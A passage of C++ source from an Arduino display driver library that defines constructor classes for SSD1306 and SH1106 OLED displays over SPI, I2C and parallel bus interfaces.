u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_6800 : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_8080 : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_72X40_ER_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_72X40_ER_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_72x40_er, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_96X40_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X40_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X40_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X40_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X40_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X40_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X40_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X40_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_96X40_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X40_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_96X40_6800 : public U8X8 {\n  public: U8X8_SSD1306_96X40_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X40_8080 : public U8X8 {\n  public: U8X8_SSD1306_96X40_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X39_4W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X39_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X39_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X39_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X39_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X39_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X39_3W_SW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X39_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SSD1306_96X39_3W_HW_SPI : public U8X8 {\n  public: U8X8_SSD1306_96X39_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SSD1306_96X39_6800 : public U8X8 {\n  public: U8X8_SSD1306_96X39_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X39_8080 : public U8X8 {\n  public: U8X8_SSD1306_96X39_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SSD1306_96X40_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X40_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_96X40_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X40_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_96X40_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X40_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x40, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SSD1306_96X39_SW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X39_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SSD1306_96X39_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X39_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SSD1306_96X39_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SSD1306_96X39_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_ssd1306_96x39, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_6800 : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_8080 : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_6800 : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_8080 : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_4W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_4W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_2ND_4W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_2ND_4W_HW_SPI(uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_3W_SW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_3W_SW_SPI(uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_3W_HW_SPI : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_3W_HW_SPI(uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_6800 : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_6800(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_8080 : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_8080(uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_001, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_SW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1106_128X64_NONAME_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_NONAME_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_noname, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_SW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1106_128X64_VCOMH0_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_VCOMH0_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_vcomh0, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_SW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_SW_I2C(uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_SW_I2C(getU8x8(), clock,  data,  reset);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_HW_I2C(uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, u8x8_cad_ssd13xx_fast_i2c, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino);\n    u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data);\n  }\n};\nclass U8X8_SH1106_128X64_WINSTAR_2ND_HW_I2C : public U8X8 {\n  public: U8X8_SH1106_128X64_WINSTAR_2ND_HW_I2C(uint8_t reset = U8X8_PIN_NONE) : U8X8() {\n    u8x8_Setup(getU8x8(), u8x8_d_sh1106_128x64_winstar, 